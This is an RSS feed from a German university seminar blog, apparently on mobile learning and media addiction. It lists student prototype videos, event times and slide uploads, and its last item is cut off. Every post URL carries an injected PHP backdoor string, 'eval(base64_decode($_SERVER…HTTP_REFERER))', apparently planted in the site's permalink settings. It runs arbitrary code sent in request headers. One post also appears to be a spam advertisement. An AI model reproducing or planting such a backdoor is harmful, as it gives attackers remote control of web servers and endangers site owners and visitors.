<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Teachlab</title>
	<atom:link href="http://www.didactalab.de/teachlab/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.didactalab.de/teachlab</link>
	<description>Veranstaltungsbegleitender Blog für und mit Studierenden</description>
	<lastBuildDate>Mon, 15 Jun 2009 08:28:25 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1.3</generator>
		<item>
		<title>Videos aus dem &#8220;Mobiles Lernen&#8221; Seminar</title>
		<link>http://www.didactalab.de/teachlab/2009/06/15/videos-aus-dem-mobiles-lernen-seminar/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2009/06/15/videos-aus-dem-mobiles-lernen-seminar/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 08:28:25 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=415</guid>
		<description><![CDATA[Hier noch einige sch&#246;ne Entw&#252;rfe aus dem &#8220;Mobiles Lernen&#8221; Seminar an der Uni Bremen. Die Paper Prototypes habe ich zusammen mit Thomas Bernhardt getestet (deshalb teilweise Gespr&#228;che im Hintergrund). Soundscapes Meiner Meinung nach ein Muss f&#252;r eine Umsetzung auf dem iPhone! Soundscape from Thomas Bernhardt on Vimeo. Soma-K&#246;rper Hier eine Anwendung zur Arbeit mit Soma-K&#246;rpern [...]]]></description>
			<content:encoded><![CDATA[<p>Hier noch einige sch&#246;ne Entw&#252;rfe aus dem &#8220;Mobiles Lernen&#8221; Seminar an der Uni Bremen. Die Paper Prototypes habe ich zusammen mit Thomas Bernhardt getestet (deshalb teilweise Gespr&#228;che im Hintergrund).</p>
<h4>Soundscapes</h4>
<p>Meiner Meinung nach ein Muss f&#252;r eine Umsetzung auf dem iPhone! </p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3297330&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3297330&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3297330">Soundscape</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Soma-K&#246;rper</h4>
<p>Hier eine Anwendung zur Arbeit mit Soma-K&#246;rpern (siehe <a href="http://www.reitberger-berlin.de/geometrieuvz/geometrie07.htm">Link</a>). Auch ein iPhone/gPhone Kandidat.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3297192&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3297192&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3297192">Schauen und Bauen 2</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Mobile Homework Reminder</h4>
<p>Und hier nun mal etwas f&#252;r die Blackberry-Fans bzw. f&#252;r alle Smartphones auch mit nicht so riesigem Display. Sehr interessantes Konzept um die &#8220;mobile gadgets&#8221; der Lernenden in die Hausaufgaben einzubinden &#8211; nie wieder: &#8220;Ich weiss gar nicht, was wir aufhaben…&#8221;. Die <a href="http://q2l.org/">Quest2Learn</a> Schule viel ja sowas machen.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3297057&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3297057&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3297057">Mobile Homework Reminder</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Mobiler Ern&#228;hrungsplaner</h4>
<p>Wof&#252;r so Barcodes in Kombination mit einem Fotosmartphone alles gut sein k&#246;nnen &#8211; Hilfe bei der gesunden Ern&#228;hrung &#8211; mobiles Lernen &#8220;on the fly&#8221;.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3237537&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3237537&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3237537">Mobiler Ern&#228;herungsplaner</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Mobile Classroom Management</h4>
<p>Hier ein weiteres Paper Prototyp f&#252;r mobiles Classroom (und Homework) Management. Hier zeigt sich einiges an Potenzial zur Nutzung von Handys sinnvoll im Unterricht einzusetzen.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3210879&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3210879&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3210879">Mobile Classroom Management</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Grammar Plus</h4>
<p>Grammatik lernen beim SMS schreiben &#8211; sehr sch&#246;nes Beispiel f&#252;r die grunds&#228;tzliche Idee von mobilem Lernen auf SMS-Basis!</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3210176&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3210176&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3210176">Grammar Plus</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Stadtrallye Berlin</h4>
<p>Sehr interessante Idee zum Thema &#8220;Klassenfahrt, aber mit Didaktik&#8221; &#8211; das &#8220;Mobile&#8221; des Interfaces bedarf noch einer weiteren Reduzierung auf die mobile Bedienungssituation.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3106651&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3106651&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3106651">Stadtrallye Berlin</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Virtuelle Sektionen am Frosch</h4>
<p>Hier nun mal ein Prototyp f&#252;r den Nintendo DS. Virtuelle Froschsektionen gab es ja nun schon einige f&#252;r den PC und hier finden sich nun einige Elemente von <a href="http://www.atlus.com/tcutk2/">Trauma Center</a>. </p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3106423&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3106423&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3106423">Virtuelle Sektionen</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Intelligenter Stift</h4>
<p>Ein recht kurzer Durchlauf eines interessanten Konzeptes: der Stift, der bei Fehlern blinkt! Sehr sch&#246;nes Weiterdenken &#252;ber Smartphones hinaus! Da steckt einiges im Konzept drin!</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3103887&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3103887&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3103887">Intelligenter Stift</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>Mobile Rhytmus Lerner</h4>
<p>Sch&#246;ner Entwurf im Sinne des Roland Drum Tutor Software (<a href="http://www.rolandus.com/products/productdetails.aspx?ObjectId=976">Link</a>, dort bitte auf Video klicken). Wie immer stecken die wahren Herausforderungen im Detail.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3103737&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3103737&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3103737">Mobile Rhytmus Lerner</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
<h4>My vocabulary trainer</h4>
<p>Mobiler Vokabeltrainer mit interessantem Ansatz (ca. ab 8:42 min im Video), Themenb&#252;ndel f&#252;r W&#246;rter zu erstellen.</p>
<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=3096165&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=3096165&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object>
<p><a href="http://vimeo.com/3096165">My vocabulary trainer</a> from <a href="http://vimeo.com/user1260951">Thomas Bernhardt</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2009/06/15/videos-aus-dem-mobiles-lernen-seminar/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Neues Lern und Tutorial Videoportal (Mehrsprachig)</title>
		<link>http://www.didactalab.de/teachlab/2008/03/01/neue-lern-und-tutorial-videoportal-mehrsprachig/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2008/03/01/neue-lern-und-tutorial-videoportal-mehrsprachig/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 01 Mar 2008 20:13:01 +0000</pubDate>
		<dc:creator>simo279</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[Tipps]]></category>
		<category><![CDATA[ausbildung]]></category>
		<category><![CDATA[frauen und männer mode]]></category>
		<category><![CDATA[haus und garten]]></category>
		<category><![CDATA[kochrezepte]]></category>
		<category><![CDATA[kunst und kultur]]></category>
		<category><![CDATA[lernvideo]]></category>
		<category><![CDATA[model]]></category>
		<category><![CDATA[Schönheit]]></category>
		<category><![CDATA[sport]]></category>
		<category><![CDATA[tutorialvideo]]></category>
		<category><![CDATA[Wissenschaft]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=413</guid>
		<description><![CDATA[Ihr sucht eine optimale L&#246;sung f&#252;r ein Alltagsproblem?  Ihr braucht eine Gebrauchsanweisung oder ein Anleitungsvideo? Ihr seid selbst ein Profi auf einem bestimmten Gebiet und wollt andere daran teilhaben lassen? Dann seid Ihr bei mytutor-video.com richtig. Vom Krawatte binden &#252;ber Kochanleitung bis hin zu Snookerstrategien – mytutor-video.com bietet Tipps und Tricks in allen Bereichen. Es [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.mytutor-video.com/"><img src="http://www.mytutor-video.com/images/mytutorvideo_logo_2.jpg" alt="MyTutor Video" /></a></p>
<p>Ihr sucht eine optimale L&#246;sung f&#252;r ein Alltagsproblem?  Ihr braucht eine Gebrauchsanweisung oder ein Anleitungsvideo? Ihr seid selbst ein Profi auf einem bestimmten Gebiet und wollt andere daran teilhaben lassen? Dann seid Ihr bei mytutor-video.com richtig. Vom Krawatte binden &#252;ber Kochanleitung bis hin zu Snookerstrategien – mytutor-video.com bietet Tipps und Tricks in allen Bereichen. Es ist ein Videoportal mit Lernvideos f&#252;r alle Praktiker und die, die es noch werden wollen. Hier geht&#8217;s zu: www.mytutor-video.com. Eine tolle Seite, reinschauen lohnt sich!</p>
<p>Mytutor Video</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2008/03/01/neue-lern-und-tutorial-videoportal-mehrsprachig/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ablaufplan_Vielnutzung, Sucht, Verwahrlosung</title>
		<link>http://www.didactalab.de/teachlab/2008/01/26/ablaufplan_vielnutzung-sucht-verwahrlosung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2008/01/26/ablaufplan_vielnutzung-sucht-verwahrlosung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 26 Jan 2008 09:56:05 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=407</guid>
		<description><![CDATA[ablaufplan_vielnutzung-sucht-verwahrlosung_p-stumpe.doc  Irgendwie sehe ich nu meinen Beitag und nicht die Datei dazu!  Lade lieber nochmal hoch!]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-410" href="http://www.didactalab.de/teachlab/?attachment_id=410" title="ablaufplan_vielnutzung-sucht-verwahrlosung_p-stumpe.doc">ablaufplan_vielnutzung-sucht-verwahrlosung_p-stumpe.doc</a> </p>
<p>Irgendwie sehe ich nu meinen Beitag und nicht die Datei dazu!</p>
<p> Lade lieber nochmal hoch!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2008/01/26/ablaufplan_vielnutzung-sucht-verwahrlosung/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Selbsttest zur Internetnutzung / Sucht</title>
		<link>http://www.didactalab.de/teachlab/2008/01/26/selbsttest-zur-internetnutzung-sucht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2008/01/26/selbsttest-zur-internetnutzung-sucht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 26 Jan 2008 09:30:25 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Selbstest]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=404</guid>
		<description><![CDATA[selbsttest-zur-internetsucht.doc Anbei der Selbsttest. Da ich nicht anwesend sein kann, bitte so durchlesen, Zahlen notieren und auswerten. Im Anschluss gerne kurz diskutieren!]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-409" href="http://www.didactalab.de/teachlab/?attachment_id=409" title="selbsttest-zur-internetsucht.doc">selbsttest-zur-internetsucht.doc</a> Anbei der Selbsttest. Da ich nicht anwesend sein kann, bitte so durchlesen, Zahlen notieren und auswerten. Im Anschluss gerne kurz diskutieren! <img src='http://www.didactalab.de/teachlab/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2008/01/26/selbsttest-zur-internetnutzung-sucht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aktualsierte Power Point-Version</title>
		<link>http://www.didactalab.de/teachlab/2008/01/26/aktualsierte-power-point-version/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2008/01/26/aktualsierte-power-point-version/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 26 Jan 2008 09:27:05 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Power Point]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=403</guid>
		<description><![CDATA[mediennutzung-und-verwahrlosung.ppt mediennutzung-und-verwahrlosung.ppt]]></description>
			<content:encoded><![CDATA[<p><a rel="attachment wp-att-412" href="http://www.didactalab.de/teachlab/?attachment_id=412" title="mediennutzung-und-verwahrlosung.ppt">mediennutzung-und-verwahrlosung.ppt</a></p>
<p><a rel="attachment wp-att-411" href="http://www.didactalab.de/teachlab/?attachment_id=411" title="mediennutzung-und-verwahrlosung.ppt">mediennutzung-und-verwahrlosung.ppt</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2008/01/26/aktualsierte-power-point-version/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ablaufplan, Power Point aktualisiert, Selbsttest zur Internetsucht</title>
		<link>http://www.didactalab.de/teachlab/2008/01/26/ablaufplan-power-point-aktualisiert-selbsttest-zur-internetsucht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2008/01/26/ablaufplan-power-point-aktualisiert-selbsttest-zur-internetsucht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Sat, 26 Jan 2008 09:26:00 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=401</guid>
		<description><![CDATA[Hallo Leute, ich versuche es mal von Zuhause aus, da ich mit Magen- und Darmgrippe noch Zuhause bleiben sollte. Aktualisierte Power-Point und Ablaufplan lade ich hoch. Dem kann man eigentlich gut folgen. VIelleicht spielt ihr das ja einmal durch? Habe es so verst&#228;ndlich wie m&#246;gich gestaltet. Auch lade ich den Sebsttest zur Internetsucht mit hoch. [...]]]></description>
			<content:encoded><![CDATA[<p>Hallo Leute, ich versuche es mal von Zuhause aus, da ich mit Magen- und Darmgrippe noch Zuhause bleiben sollte.</p>
<p>Aktualisierte Power-Point und Ablaufplan lade ich hoch. Dem kann man eigentlich gut folgen. VIelleicht spielt ihr das ja einmal durch?</p>
<p>Habe es so verst&#228;ndlich wie m&#246;gich gestaltet.</p>
<p>Auch lade ich den Sebsttest zur Internetsucht mit hoch. W&#228;re mein Abschlusspunkt gewesen und l&#228;sst sich leicht ausf&#252;llen udn auswerten.</p>
<p>Ergebnisse k&#246;nnen im Anschluss diskutiert werden!</p>
<p>Somit f&#228;llt der Themenbock wenigstens nicht aus.</p>
<p>Link f&#252;r “World of Warcraft” mit Nutzerkennung findet ihr auch auf dem Ablaufplan.</p>
<p>Viel Spass!</p>
<p>Lg. Patrick</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2008/01/26/ablaufplan-power-point-aktualisiert-selbsttest-zur-internetsucht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blockveranstaltung &#8211; Ort und Zeit</title>
		<link>http://www.didactalab.de/teachlab/2008/01/25/blockveranstaltung-ort-und-zeit/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2008/01/25/blockveranstaltung-ort-und-zeit/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 25 Jan 2008 08:34:53 +0000</pubDate>
		<dc:creator>Karsten D. Wolf</dc:creator>
				<category><![CDATA[Organisatorisches]]></category>
		<category><![CDATA[wolf]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=396</guid>
		<description><![CDATA[Liebe Seminarteilnehmer/innen, bin etwas grippal mitgenommen, aber wir haben schon mal einen Ort: 25.01. Freitag: 10-18 Uhr, FB 12 CIP-Labor A2320 26.01. Samstag: 10-16:30 Uhr, FB 12 Rechner-Raum A2370 F&#252;r den Samstag schauen wir, dass der Haupteingang oben am Boulevard offensteht.]]></description>
			<content:encoded><![CDATA[<p>Liebe Seminarteilnehmer/innen,<br />
bin etwas grippal mitgenommen, aber wir haben schon mal einen Ort:</p>
<p>25.01. Freitag: 10-18 Uhr, FB 12 CIP-Labor A2320<br />
26.01. Samstag: 10-16:30 Uhr, FB 12 Rechner-Raum A2370</p>
<p>F&#252;r den Samstag schauen wir, dass der Haupteingang oben am Boulevard offensteht.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2008/01/25/blockveranstaltung-ort-und-zeit/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Medienkompetenz &#8211; Bielefelder Modell</title>
		<link>http://www.didactalab.de/teachlab/2008/01/15/medienkompetenz-bielefelder-modell/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2008/01/15/medienkompetenz-bielefelder-modell/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 15 Jan 2008 14:17:13 +0000</pubDate>
		<dc:creator>annalenas</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=394</guid>
		<description><![CDATA[Hi, sorry f&#252;r die Versp&#228;tung aber da ich kein Internet habe und bis eben krank im Bett lag (wo ich eigentlich auch noch bleiben sollte) ging es nicht fr&#252;her. Linksammlung und Verlaufsentwurf sind fertig, die Pr&#228;sentation folgt, sobald ich wieder klar denken kann. Viele Gr&#252;&#223;e Anna]]></description>
			<content:encoded><![CDATA[<p>Hi,</p>
<p>sorry f&#252;r die Versp&#228;tung aber da ich kein Internet habe und bis eben krank im Bett lag (wo ich eigentlich auch noch bleiben sollte) ging es nicht fr&#252;her. <a href="http://www.didactalab.de/teachlab/wp-content/uploads/2008/01/linksammlung-und-verlaufsentwurf.doc" title="Linksammlung und Verlaufsentwurf">Linksammlung und Verlaufsentwurf</a> sind fertig, die Pr&#228;sentation folgt, sobald ich wieder klar denken kann.</p>
<p>Viele Gr&#252;&#223;e</p>
<p>Anna</p>
]]></content:encoded>
			<wfw:commentRss>http://www.didactalab.de/teachlab/2008/01/15/medienkompetenz-bielefelder-modell/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Vielnutzung, Sucht, Verwahrlosung &#8211; ein echtes Problem?</title>
		<link>http://www.didactalab.de/teachlab/2008/01/15/vielnutzung-sucht-verwahrlosung-ein-echtes-problem/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://www.didactalab.de/teachlab/2008/01/15/vielnutzung-sucht-verwahrlosung-ein-echtes-problem/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 15 Jan 2008 00:45:07 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=392</guid>
